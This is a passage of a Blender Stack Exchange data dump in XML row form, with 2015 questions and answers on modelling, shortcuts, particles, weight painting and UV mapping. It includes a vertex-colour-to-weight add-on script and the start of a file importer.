href=&quot;https://github.com/neumond/blender-md3&quot; rel=&quot;nofollow&quot;&gt;.MD3 addon&lt;/a&gt; show that this format has a at least comparable structure.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-03-02T08:11:24.040" LastActivityDate="2015-03-02T08:11:24.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26476" PostTypeId="2" ParentId="26467" CreationDate="2015-03-01T21:59:47.840" Score="8" Body="&lt;p&gt;This script will convert weight to vertex color and vertex color to weight :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the script create new groups if they don't exist and overwrite old groups with the same names&lt;/li&gt;&#xA;&lt;li&gt;the script use two methods for conversions &lt;strong&gt;grayscale&amp;lt;--&gt;weight&lt;/strong&gt; and &lt;strong&gt;RGB&amp;lt;--&gt;weight&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;the conversion works in two ways  &lt;strong&gt;weight--&gt; color&lt;/strong&gt;   and &lt;strong&gt;color--&gt;weight&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HOW TO USE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;run the script once &quot;it will be registered&quot;&lt;/li&gt;&#xA;&lt;li&gt;in 3D view select the object &lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;space&lt;/kbd&gt; and type &lt;strong&gt;weight&amp;amp;color&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;choose the settings and conversion hit OK &lt;/li&gt;&#xA;&lt;li&gt;new groups or vertex color maps will be created with the appropriate values &quot;the viewport will change to show the result&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.types import Operator&#xA;from bpy.props import EnumProperty&#xA;from mathutils import Color&#xA;&#xA;bl_info = { &#xA;    'name': 'Convert Vertex Color to Weights',&#xA;    'author': 'Chebhou on StackExchange, refactor by aliasguru',&#xA;    'version': (0, 1, 0),&#xA;    'blender': (2, 7, 5),&#xA;    'location': '3D View &amp;gt; Spacebar Menu &amp;gt; weight &amp;amp; color',&#xA;    'description': 'converts Vertex colors to weights and vice versa',&#xA;    'tracker_url': '',&#xA;    'wiki_url': 'http://blender.stackexchange.com/questions/26467/weight-paint-maps-in-out-of-blender-to-allow-editing-in-photoshop-or-other',&#xA;    'support': 'COMMUNITY',&#xA;    'category': '3D View'}&#xA;&#xA;&#xA;&#xA;color = 'HSV' #'HSV'    method used for conversion&#xA;&#xA;&#xA;def convert(value, method):&#xA;    if method == 'BW2W':&#xA;        return  (value.r + value.g+ value.b)/3&#xA;    elif method == 'W2BW':&#xA;        col = Color((value, value, value))&#xA;        return col&#xA;    elif method == 'HSV2W':&#xA;        return  1-(value.h / 0.66)&#xA;    elif method == 'W2HSV':&#xA;        col = Color()&#xA;        col.hsv = (0.66*(1-value), 1, 1)&#xA;        return  col&#xA;&#xA;&#xA;def vert_col2weight(context, color):    &#xA;    color_maps = context.object.data.vertex_colors&#xA;    for color_map in color_maps :&#xA;        group_name = color_map.name&#xA;&#xA;        #check for existing group with the same name&#xA;        if None == context.object.vertex_groups.get(group_name): &#xA;            context.object.vertex_groups.new( name = group_name)  &#xA;&#xA;        group_ind = context.object.vertex_groups[group_name].index&#xA;&#xA;        for poly in context.object.data.polygons:&#xA;                    for loop_ind in poly.loop_indices:&#xA;                        vert_ind =context.object.data.loops[loop_ind].vertex_index  &#xA;                        col = color_map.data[loop_ind].color&#xA;                        if color == 'BW':&#xA;                            weight = convert(col, 'BW2W')&#xA;                        else :&#xA;                            weight = convert(col, 'HSV2W')&#xA;                        context.object.vertex_groups[group_ind].add([vert_ind], weight,'REPLACE')&#xA;&#xA;&#xA;def weight2vert_col(context, color):               &#xA;    vert_groups = context.object.vertex_groups&#xA;    col = Color()&#xA;    for vert_g in vert_groups:&#xA;        group_name = vert_g.name  &#xA;&#xA;        #check for existing group with the same name&#xA;        if None == context.object.data.vertex_colors.get(group_name): &#xA;            context.object.data.vertex_colors.new(name=group_name)&#xA;&#xA;        color_map =  context.object.data.vertex_colors[group_name]&#xA;&#xA;        for poly in context.object.data.polygons:&#xA;                    for loop_ind in poly.loop_indices:&#xA;                        vert_ind =context.object.data.loops[loop_ind].vertex_index &#xA;&#xA;                        #check if the vertex belong to the group&#xA;                        weight = 0&#xA;                        for g in context.object.data.vertices[vert_ind].groups:&#xA;                            if g.group == vert_groups[group_name].index:&#xA;                                weight = vert_groups[group_name].weight(vert_ind) &#xA;&#xA;                        #convert weight to vert_col          &#xA;                        if color == 'BW':&#xA;                            col = convert(weight, 'W2BW')&#xA;                        else :&#xA;                            col = convert(weight, 'W2HSV')&#xA;                        #assign to the color map&#xA;                        color_map.data[loop_ind].color = col&#xA;&#xA;&#xA;class   weight_color(Operator):  &#xA;&#xA;    &quot;&quot;&quot;weight from&amp;amp;to vert_color&quot;&quot;&quot;        &#xA;    bl_idname = &quot;object.weight_color&quot;  &#xA;    bl_label = &quot;weight &amp;amp; color&quot;     &#xA;    bl_options = {'REGISTER', 'UNDO'}    #should remove undo ? &#xA;&#xA;    #parameters and variables&#xA;    convert = EnumProperty(&#xA;                name=&quot;Convert&quot;,&#xA;                description=&quot;Choose conversion&quot;,&#xA;                items=(('W2C', &quot;Weight to vertex color&quot;, &quot;convert weight to vertex color&quot;),&#xA;                       ('C2W', &quot;Vertex color to weight&quot;, &quot;convert vertex color to weight&quot;)),&#xA;                default='W2C',&#xA;                )&#xA;    color = EnumProperty(&#xA;                name=&quot;Color type&quot;,&#xA;                description=&quot;Choose a color system&quot;,&#xA;                items=(('BW', &quot;Gray scale&quot;, &quot;map weight to grayscale&quot;),&#xA;                       ('HSV', &quot;RGB color&quot;, &quot;map weight to rgb colors&quot;)),&#xA;                default='HSV',&#xA;                )&#xA;    #main function&#xA;    def execute(self, context): &#xA;        bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;        if self.convert == 'W2C':&#xA;            weight2vert_col(context, self.color)&#xA;            bpy.ops.object.mode_set(mode = 'VERTEX_PAINT')&#xA;        else:&#xA;            vert_col2weight(context, self.color)&#xA;            bpy.ops.object.mode_set(mode = 'WEIGHT_PAINT')&#xA;&#xA;        context.active_object.data.update()&#xA;        self.report({'INFO'},&quot;Conversion is Done&quot;)&#xA;        return {'FINISHED'}&#xA;    #get inputs &#xA;    def invoke(self, context, event):&#xA;            wm = context.window_manager&#xA;            return wm.invoke_props_dialog(self)&#xA;&#xA;&#xA;def addObject(self, context): &#xA;    self.layout.operator(&#xA;    weight_color.bl_idname,&#xA;    text = weight_color.__doc__,&#xA;    icon = 'VPAINT_HLT')&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(weight_color)      &#xA;    bpy.types.VIEW3D_MT_object.append(addObject)&#xA;&#xA;def unregister(): &#xA;    bpy.types.VIEW3D_MT_object.remove(addObject)&#xA;    bpy.utils.unregister_class(weight_color)&#xA;&#xA;if __name__ == &quot;__main__&quot;:  &#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;any feedback is welcome&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iE5Nr.gif&quot; alt=&quot;how to use&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="7819" LastEditDate="2017-03-23T13:53:01.880" LastActivityDate="2017-03-23T13:53:01.880" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26477" PostTypeId="1" CreationDate="2015-03-01T22:16:09.683" Score="9" ViewCount="12271" Body="&lt;p&gt;I am having a tough time building a half cylinder and have not found any tutorial showing me how to do that.&lt;/p&gt;&#xA;" OwnerUserId="12906" LastEditorDisplayName="user1853" LastEditDate="2016-02-11T23:16:28.613" LastActivityDate="2021-03-19T08:23:21.213" Title="How to make a half cylinder?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26478" PostTypeId="2" ParentId="26477" CreationDate="2015-03-01T22:18:05.593" Score="13" Body="&lt;p&gt;Go into top view (&lt;kbd&gt;Numpad 7&lt;/kbd&gt;), enter edit mode, press &lt;kbd&gt;B&lt;/kbd&gt;, and box select half the vertices. Then press &lt;kbd&gt;X&lt;/kbd&gt; &lt;em&gt;&gt; Vertices&lt;/em&gt;. You may need to rotate so that the edges align to the grid properly. Once youhave done that, select the four inner vertices and press &lt;kbd&gt;F&lt;/kbd&gt;. &lt;kbd&gt;Alt&lt;/kbd&gt; right-click on the end edges and press &lt;kbd&gt;F&lt;/kbd&gt; to make faces for them as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OFdQN.gif&quot; alt=&quot;Half Cylinder GIF&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-01T22:18:05.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26479" PostTypeId="1" CreationDate="2015-03-01T22:30:36.120" Score="4" ViewCount="324" Body="&lt;p&gt;&lt;strong&gt;I'm using PyroEvil's Molecular Physics addon, which is required for the simulation to work. &lt;a href=&quot;http://pyroevil.com/molecular-script-download/&quot; rel=&quot;nofollow&quot;&gt;Find it here.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been playing around with the aforementioned addon, to see what it can handle and what it can do. It's been producing some nice results, but I've been having some extremely strange behaviors with rotating objects. The particles somehow go inside it, and when it stops rotating everything just explodes outwards. Is there any way to fix this, or do I have to wait for a new release of the addon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/btjzohu3prk79pi/Sand%20test.blend?dl=1&quot; rel=&quot;nofollow&quot;&gt;Here's my blend file.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7806" LastEditorUserId="7806" LastEditDate="2015-03-01T23:45:53.733" LastActivityDate="2015-03-01T23:45:53.733" Title="Particles intersecting object and then exploding without reason" Tags="&lt;particles&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26480" PostTypeId="2" ParentId="26477" CreationDate="2015-03-01T22:32:17.200" Score="11" Body="&lt;p&gt;All the steps below are in front view &lt;kbd&gt;NumPad 1&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a plane&lt;/li&gt;&#xA;&lt;li&gt;In edit mode move the plane 1 unit along the x axis, &lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;code&gt;1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Spin the plane with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; or from the Tool Shelf &gt; &lt;em&gt;Tool&lt;/em&gt; tab &lt;em&gt;Spin&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;em&gt;Angle&lt;/em&gt; to -180°.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jmvlo.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-03-01T22:37:57.430" LastActivityDate="2015-03-01T22:37:57.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26482" PostTypeId="1" AcceptedAnswerId="26728" CreationDate="2015-03-01T23:14:27.900" Score="1" ViewCount="1634" Body="&lt;p&gt;So I've been battling with the Cycles Render, trying to bake normal and ambient occlusion maps for each object I have created. However, I have been receiving the following results:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PBP6O.png&quot; alt=&quot;Normal map&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J4Pp2.jpg&quot; alt=&quot;Ambient occlusion map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been baking the high- and low- poly objects within the same coordinates, selecting the High and then Low objects in order. This has been done in 2.73a of Blender, in case that also needs to be known.&lt;/p&gt;&#xA;" OwnerUserId="12907" LastActivityDate="2015-03-07T00:46:09.443" Title="Normal and Ambient Occlusion Map baking issues in Cycles Render" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="26483" PostTypeId="1" AcceptedAnswerId="26484" CreationDate="2015-03-01T23:23:17.643" Score="4" ViewCount="290" Body="&lt;p&gt;In the &lt;strong&gt;UV/Image editor&lt;/strong&gt;, in the &lt;strong&gt;Image&lt;/strong&gt; Menu, every option such as &lt;strong&gt;Reload image&lt;/strong&gt; has a shortcut, except for &lt;strong&gt;Replace image&lt;/strong&gt;.&lt;br&gt;&#xA;So I've tried to add a shortcut in the preferences, right under where I found &quot;Reload Image&quot; shortcut, then saved the user settings. All was done just as the manual said, but it is not working.&lt;br&gt;&#xA;How can I add this shortcut?&lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="2217" LastEditDate="2015-03-02T01:31:54.720" LastActivityDate="2015-03-02T01:31:54.720" Title="How to create a shortkey for &quot;Replace image&quot; in &quot;UV/Image editor&quot;?" Tags="&lt;interface&gt;&lt;customization&gt;&lt;image&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26484" PostTypeId="2" ParentId="26483" CreationDate="2015-03-01T23:38:40.447" Score="5" Body="&lt;p&gt;To add the new shortcut in &lt;em&gt;User preferences &gt; Input&lt;/em&gt; scroll down to :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cOTvV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;click Add New , set up your shortcut as follows : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/63oMU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;NOTE:&lt;/strong&gt; the shortcut name 'Replace Image' will come up automatically&lt;/em&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save your preferences and now you can use your new shortcut &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To know what to type for the shortcuts use the tooltips :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5mdfb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-02T00:49:35.367" LastActivityDate="2015-03-02T00:49:35.367" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26485" PostTypeId="1" CreationDate="2015-03-01T23:18:59.880" Score="1" ViewCount="1334" Body="&lt;p&gt;I am making a game in Blender with a first person camera. I used a mouselook script I found online, however when character motion is used for the camera's movement, I have the problem that when the character is looking at the ground and presses the &lt;kbd&gt;S&lt;/kbd&gt; key, they move up. I am writing a script that will detect when the mouse moves up and down, and another that detects moving left to right.&lt;br&gt;&#xA;Where would I start? I was looking at the documentation, and I found &lt;code&gt;bge.types.SCA_PythonMouse.position&lt;/code&gt;, but that does not tell you when the mouse is moved. Is&#xA;there a function that does this?&lt;/p&gt;&#xA;" OwnerDisplayName="user3385984" LastEditorUserId="2217" LastEditDate="2015-03-02T01:46:57.737" LastActivityDate="2015-03-02T01:46:57.737" Title="First Person Camera In Blender Game Engine" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-03-02T01:19:22.287" ContentLicense="CC BY-SA 3.0" />
  <row Id="26486" PostTypeId="1" AcceptedAnswerId="26488" CreationDate="2015-03-01T23:55:39.993" Score="0" ViewCount="1107" Body="&lt;p&gt;I have 2 arms i made separately and i copied it, but when i merge the meshes and bones and then reparent the bones to the mesh, one bone is weighing both arms, but the other isnt doing anything.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-03-02T00:19:54.660" Title="Merge 2 armatures and 2 meshes then parent the armature to the mesh, without losing their weight paints?" Tags="&lt;modeling&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26487" PostTypeId="2" ParentId="26485" CreationDate="2015-03-01T23:57:50.470" Score="2" Body="&lt;p&gt;no need for a script to get mouse movements use the logic bricks :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xT0fF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-01T23:57:50.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26488" PostTypeId="2" ParentId="26486" CreationDate="2015-03-02T00:19:54.660" Score="1" Body="&lt;p&gt;this is probably a naming issue : &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the armature will create vertex groups with the bones names &lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;when you join the meshes groups with the same name get merged&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;when you join armatures bones will get new names if other with the same name exist&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;so you end up with one armature controlling both meshes&lt;br&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;to avoid this ensure that your armature bones have different names before parenting each mesh to the armature&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-02T00:19:54.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26489" PostTypeId="1" AcceptedAnswerId="26490" CreationDate="2015-03-02T02:15:30.257" Score="1" ViewCount="204" Body="&lt;p&gt;I'm trying to make a triangular prism that becomes circular at the other end, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this stage I have a circle with 3 vertices and another with 16, how would I connect these into a prism? &lt;/p&gt;&#xA;" OwnerUserId="9641" LastActivityDate="2015-03-02T02:24:33.930" Title="How to make a prism with different shapes at each end?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26490" PostTypeId="2" ParentId="26489" CreationDate="2015-03-02T02:24:33.930" Score="2" Body="&lt;p&gt;add 13 vertices to your triangle, select all with &lt;kbd&gt;A&lt;/kbd&gt; and connect with LoopTools &gt; Bridge (tools tab in T panel). Can't screenshot now.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-02T02:24:33.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26491" PostTypeId="1" AcceptedAnswerId="26493" CreationDate="2015-03-02T02:26:55.213" Score="7" ViewCount="1341" Body="&lt;p&gt;When i want to replace a texture for an object, i see my jpg files as a shortlist by default. i can click with my mouse on the thumbnails list to browse my files as thumbnails. but i do this task often , so i need a shortkey for this move. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have tried to figure out the Python code that is needed for this, but that didn't work out, i don't know why.&#xA;i could use some help here.&#xA;what do i need to do to get this shortcut ?&lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="12" LastEditDate="2015-03-02T19:07:13.620" LastActivityDate="2018-07-23T16:16:31.387" Title="How to create a Blender shortcut for &quot;Display files as Thumbnails&quot;" Tags="&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26492" PostTypeId="1" AcceptedAnswerId="26494" CreationDate="2015-03-02T02:37:37.657" Score="6" ViewCount="3098" Body="&lt;p&gt;i click a lot on the two screen layouts , composite and default. &#xA;every click that i do often,  i try to find a shortcut for it. &#xA;but i doubt there is a shortcut for screen layouts ?&#xA;i have not seen a Phyton code showing up at these places.&#xA;or am i missing something ?&#xA;is there a way to get this shortcut ?&#xA;in the worst case i will just keep on clicking each time. &#xA; but i prefer the shortcut.&#xA;i hope anyone has an answer, thanks.&lt;/p&gt;&#xA;" OwnerUserId="12908" LastActivityDate="2015-03-02T02:40:23.120" Title="is there a shortcut for toggle between default screen layout and composit screen layout?" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-07T13:35:37.367" ContentLicense="CC BY-SA 3.0" />
  <row Id="26493" PostTypeId="2" ParentId="26491" CreationDate="2015-03-02T02:38:08.173" Score="5" Body="&lt;p&gt;In Preferences-&gt;Input-&gt;Image-&gt;Image_Generic-&gt;Open_Image &lt;br&gt; &#xA;in the shortcut settings of &lt;strong&gt;Open Image&lt;/strong&gt; change the display type to &lt;strong&gt;Thumbnails&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U9Dr1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-02T02:38:08.173" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26494" PostTypeId="2" ParentId="26492" CreationDate="2015-03-02T02:40:23.120" Score="4" Body="&lt;p&gt;Yes, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Left Arrow&lt;/kbd&gt; to go to composite from Default, and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Right Arrow&lt;/kbd&gt; to go back.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-02T02:40:23.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26495" PostTypeId="1" AcceptedAnswerId="26541" CreationDate="2015-03-02T02:58:36.350" Score="2" ViewCount="565" Body="&lt;p&gt;I have created a particle system that spawns from an object over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E1RcR.jpg&quot; alt=&quot;cube objects are particle emissions&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?352210-3Pointedit-Sketchbook&amp;amp;p=2827061&amp;amp;viewfull=1#post2827061&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?352210-3Pointedit-Sketchbook&amp;amp;p=2827061&amp;amp;viewfull=1#post2827061&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to spawn cubes from vertices over time I have to use a gradient texture on an object that is UV unwrapped. Which means that i have to use a plane as the particle emitter. This creates problems when I emit from another particle system to create the red balls. I end up emitting from both of the vertices at that location, creating 2 red balls in one spot (to fix this I reduce the balls but there aren't enough to fill the emitter length).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I apply a texture to a mesh that has no faces (thus eliminating extra verts I don't want)?&#xA;Are there any other ways to emit a particle system over time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to keep the system simple and attached to one emitter object, so that it can scale easily.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-03-03T04:56:37.290" Title="Particle emission from a verts fixed locations over time" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26496" PostTypeId="1" AcceptedAnswerId="26520" CreationDate="2015-03-02T03:50:00.597" Score="3" ViewCount="1301" Body="&lt;p&gt;I tried to map a country flag on a UV sphere, but I could not get it laid out the way how I wanted to see it. I used the Poland flag. &#xA;I wanted to map it exactly as you can see in picture 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AbJkV.jpg&quot; alt=&quot;picture 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I got was a result as you can see in these pictures.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0gUi7.jpg&quot; alt=&quot;picture 2a&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yC0dX.jpg&quot; alt=&quot;picture 2b&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flag was looped at least 8 times on each half side of the sphere.&lt;br&gt;&#xA;I could double that, but I could not go half of that, or less.&#xA;I wanted the flag to show up just 1 time at each half side of the sphere.&#xA;or maybe twice at each side, but not 8 times. &#xA;as you can see on the third picture, I tried to resize the UV map, but also then it would never go under 8 repeats.&#xA;How can I change this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://i.stack.imgur.com/8cNNJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Poland flag texture&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="32220" LastEditDate="2019-08-26T09:12:29.203" LastActivityDate="2019-08-26T09:12:29.203" Title="UV maping a sphere to have stripes runing between both poles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26498" PostTypeId="1" AcceptedAnswerId="26846" CreationDate="2015-03-02T06:27:05.310" Score="3" ViewCount="1751" Body="&lt;p&gt;I have a mesh and I make automatic weighting. But the problem is that some vertices are not assigned to have any weight, and I can't locate these vertices due to the complexity of my mesh. I'm asking if there is a way where I can locate and assign auto-weights to these vertices? If anyone could please advise. &lt;/p&gt;&#xA;" OwnerUserId="2517" LastActivityDate="2018-02-12T15:07:00.717" Title="Locate and assign weights to vertices with no weights in a Mesh" Tags="&lt;mesh&gt;&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26499" PostTypeId="1" AcceptedAnswerId="26502" CreationDate="2015-03-02T06:34:35.407" Score="5" ViewCount="4865" Body="&lt;p&gt;I have an object I would like to deform with a lattice modifier. I have a lattice prepared that entirely encloses my mesh. I select the modifier for my mesh, but in the modifier window, as soon as I select the lattice in the &lt;code&gt;Object&lt;/code&gt; dropdown, it deforms the mesh in an undesirable way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why it gets deformed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the lattice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jz4eQ.png&quot; alt=&quot;the lattice&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the mesh:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J40o9.png&quot; alt=&quot;the mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the mesh deformed as soon as I select a lattice in the &lt;code&gt;object&lt;/code&gt; dropdown: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/vV8pr.png&quot; alt=&quot;deformed_mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using blender 2.69. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12911" LastActivityDate="2015-03-02T09:42:31.710" Title="Lattice modifier deforms object as soon as an object is selected" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26500" PostTypeId="2" ParentId="26474" CreationDate="2015-03-02T08:10:47.340" Score="4" Body="&lt;p&gt;Now there is a at least partially implemented importer (prints a lot of stuff to the console) All you need to do is copy the script in the editor and&lt;br&gt;&#xA;edit this (last) line before pressing the run button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;importMX(&quot;c:\\path\\avatar.mx&quot;, 'Avatar')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first argument is the path to the file to import, second the object name in Blender.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;import struct&#xA;&#xA;def read_n_items(file, n, func):&#xA;    for i in range(n):&#xA;        func(i, file)&#xA;&#xA;def read_struct_from_file(file, fmt):&#xA;    return struct.unpack(fmt, file.read(struct.calcsize(fmt)))&#xA;&#xA;def skip_string(file):&#xA;    s=''&#xA;    while True:&#xA;        c = struct.unpack('c', file.read(1))[0]&#xA;        s = s + c.decode(&quot;utf-8&quot;)&#xA;        if c == b'\x00':&#xA;            print(s)&#xA;            return       &#xA;&#xA;def importMX(filename, obj_name):&#xA;    verts=[]&#xA;    faces=[]&#xA;    with open(filename, 'rb') as file:&#xA;        prjx = read_struct_from_file(file, '8ch')&#xA;        print(prjx)&#xA;        num_texture_files = prjx[8]&#xA;        print(num_texture_files)&#xA;        while num_texture_files &amp;gt; 0:&#xA;            num_texture_files = num_texture_files - 1&#xA;            skip_string(file)&#xA;            groups = read_struct_from_file(file, 'h')[0]&#xA;            exec_lists = read_struct_from_file(file, 'I')[0]&#xA;            exec_type = read_struct_from_file(file, 'h')[0]&#xA;            vertices = read_struct_from_file(file, 